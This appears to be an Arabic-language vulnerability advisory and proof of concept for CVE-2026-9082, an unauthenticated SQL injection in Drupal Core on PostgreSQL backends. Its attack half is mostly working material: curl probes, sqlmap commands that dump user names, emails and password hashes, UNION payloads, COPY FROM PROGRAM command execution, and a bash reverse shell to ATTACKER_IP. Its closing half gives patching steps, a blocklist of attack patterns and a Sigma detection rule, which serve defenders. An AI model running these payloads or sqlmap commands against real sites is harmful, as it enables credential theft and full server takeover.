
cve poc
النوع: SQL Injection (CWE-89) المنتج المتأثر: Drupal Core (واجهة تجريد قاعدة البيانات) استشارة Drupal الأمنية: SA-CORE-2026-004 تاريخ النشر: 20 مايو 2026 درجة الخطورة: حرجة للغاية (Drupal 20/25 | NVD CVSS 6.5)
CVE-2026-9082 هي ثغرة حقن SQL في واجهة تجريد قاعدة البيانات الأساسية في Drupal Core. تغلّف طبقة قاعدة البيانات في Drupal مكتبة PDO وتُعقّم جميع الاستعلامات قبل وصولها إلى قاعدة البيانات. تتجاوز هذه الثغرة هذا التعقيم لقواعد بيانات PostgreSQL الخلفية فقط — إذ تتسلل طلبات HTTP مُصاغة بعناية عبر منطق التطبيع، وتحقن مقاطع SQL يتحكم بها المهاجم مباشرةً في استعلامات قاعدة البيانات.
MySQL و MariaDB غير متأثرتين بمتجه الحقن، على الرغم من أن الإصدار المُصحَّح يتضمن أيضًا إصلاحات حرجة لـ Symfony/Twig تنطبق على جميع الخوادم الخلفية.
| الفرع | الإصدارات المعرضة | الإصدار المُصحَّح |
|---|---|---|
| Drupal 10.4.x / 8.9.x | 8.9.0–10.4.9 | 10.4.10 |
| Drupal 10.5.x | 10.5.0–10.5.9 | 10.5.10 |
| Drupal 10.6.x | 10.6.0–10.6.8 | 10.6.9 |
| Drupal 11.0.x–11.1.x | 11.0.0–11.1.9 | 11.1.10 |
| Drupal 11.2.x | 11.2.0–11.2.11 | 11.2.12 |
| Drupal 11.3.x | 11.3.0–11.3.9 | 11.3.10 |
شرط مسبق: يجب أن يستخدم الهدف PostgreSQL كقاعدة بيانات خلفية.
تنقّي طبقة تجريد قاعدة البيانات في Drupal القيم عبر استعلامات مُعاملات/عبارات مُجهزة، لكنها تعتمد على مُنشئ الاستعلام لتوفير SQL هيكلية موثوقة (أسماء الحقول، عوامل التشغيل، أهداف ORDER BY). يكمن الخلل في الطريقة التي يعالج بها مشغّل PostgreSQL أنماط إدخال معينة عند بناء الاستعلامات — إذ تختلف لهجة SQL في PostgreSQL عن MySQL في نقاط رئيسية:
||::COPY ... FROM PROGRAMيُدخل طلب مُصاغ بذكاء محارف/تسلسلات تمر عبر تعقيم مستوى القيم في Drupal لكن مُحلّل PostgreSQL يفسّرها كـ SQL هيكلية. سطح الهجوم قابل للوصول بدون مصادقة عبر أي نقطة نهاية تمرّر معاملات يتحكم بها المستخدم إلى استعلامات قاعدة البيانات (البحث، فلاتر العروض، عمليات إرسال النماذج، JSON:API، إلخ).
Attacker (unauthenticated)
|
|--> HTTP request with crafted parameter
| (e.g. search field, filter, form input)
|
v
Drupal DB Abstraction API
|
|--> Sanitization bypass (PostgreSQL-specific)
|
v
PostgreSQL executes injected SQL
|
|--> Information disclosure (dump entire DB)
|--> Privilege escalation (inject admin credentials)
|--> RCE (PostgreSQL COPY TO PROGRAM, lo_export, etc.)
COPY TO PROGRAM 'cmd' إذا كان مستخدم قاعدة البيانات يملك صلاحيات superuserتحذير Drupal الرسمي: "قد تُطوَّر عمليات استغلال في غضون ساعات أو أيام من الإفصاح" (بما يتوافق مع ثغرات CVE التاريخية في طبقة قاعدة بيانات Drupal مثل SA-CORE-2014-005 / Drupalgeddon).
# Endpoints that pass user input through DB abstraction layer
curl -s "https://target.drupal.site/search/node?keys=test"
curl -s "https://target.drupal.site/views/ajax"
curl -s "https://target.drupal.site/jsonapi/node/article"
# Time-based (pg_sleep is PostgreSQL-only)
curl -s "https://target.drupal.site/search/node?keys=test%27%3Bselect+pg_sleep(5)--"
# Cast-based probe (:: is PostgreSQL syntax)
curl -s "https://target.drupal.site/search/node?keys=1::integer"
# Boolean-based differentiation
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='1"
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='2"
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
--dbms=PostgreSQL \
--level=5 --risk=3 \
--technique=BEUST \
--tamper=space2comment,between \
--dbs
# Dump credentials after confirming injection
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
--dbms=PostgreSQL \
-D drupal -T users_field_data \
-C name,mail,pass --dump
-- Fingerprint column count
test' ORDER BY 1--
test' ORDER BY 2-- -- increment until error
-- Extract credentials (PostgreSQL syntax)
test' UNION SELECT null,username,password FROM users_field_data--
-- Check if DB user is superuser
test' UNION SELECT null,current_user,null--
test' UNION SELECT null,usesuper::text,null FROM pg_user WHERE usename=current_user--
CREATE TABLE cmd_out(output TEXT);
COPY cmd_out FROM PROGRAM 'id; uname -a';
SELECT * FROM cmd_out;
-- Reverse shell (replace ATTACKER_IP/PORT)
COPY cmd_out FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';
# Composer (recommended)
composer update drupal/core drupal/core-recommended
# Verify version
php core/scripts/drupal --version
# OR via Drush
drush updb && drush cr
-- Verify application DB user is NOT superuser
SELECT usename, usesuper FROM pg_user WHERE usename = 'drupal_app_user';
-- Should return usesuper = false
حظر الأنماط التالية: pg_sleep, COPY.*PROGRAM, ::text, ::integer, UNION.*SELECT, %27--
تأكد من أن PostgreSQL مرتبط فقط بعنوان localhost أو بواجهة شبكة خاصة؛ ولا يمكن الوصول إليه عبر الإنترنت.
title: Drupal CVE-2026-9082 SQL Injection Attempt
logsource:
category: webserver
detection:
selection:
cs-uri-query|contains:
- "pg_sleep"
- "UNION+SELECT"
- "::text"
- "::integer"
- "COPY+TO"
- "%27--"
filter:
cs-uri-stem|contains:
- "/search/"
- "/views/ajax"
- "/jsonapi/"
condition: selection and filter
level: high
tags: [attack.t1190, cve.2026.9082]
CVE-2026-9082 هي حقن SQL بدون مصادقة في Drupal Core تستهدف قواعد بيانات PostgreSQL الخلفية. على الرغم من درجة NVD CVSS المعتدلة البالغة 6.5، فإن Drupal يقيّمها بنسبة 20/25 (حرجة للغاية) لأن الوصول غير المصادَق + COPY TO PROGRAM في PostgreSQL = RCE مباشرة في البيئات غير المهيأة بشكل صحيح. النطاق الواسع للإصدارات المتأثرة وإصلاحات Twig SSTI المرفقة يجعلان هذا تصحيحًا حرجًا وعاجلًا لجميع مواقع Drupal، خاصة تلك التي تستخدم PostgreSQL في بيئات معرّضة للإنترنت.
الإجراء الموصى به: حدّث فورًا إلى الإصدار المُصحَّح الخاص بفرعك. تحقق من أن مستخدم تطبيق قاعدة البيانات ليس superuser في PostgreSQL.
| المصدر | المؤشر |
|---|
| سجلات الويب | pg_sleep, ::, UNION SELECT, --, COPY PROGRAM في سلاسل الاستعلام |
| سجلات PostgreSQL | أخطاء صياغة تتزامن مع الطوابع الزمنية لطلبات الويب |
| سجل مراقبة Drupal (watchdog) | استثناءات قاعدة بيانات من نقاط نهاية البحث/العروض/jsonapi |
| auditd | عملية postgres تُطلق عمليات فرعية (COPY TO PROGRAM) |
| جدول مستخدمي Drupal | صفوف جديدة لدور administrator بطوابع زمنية حديثة |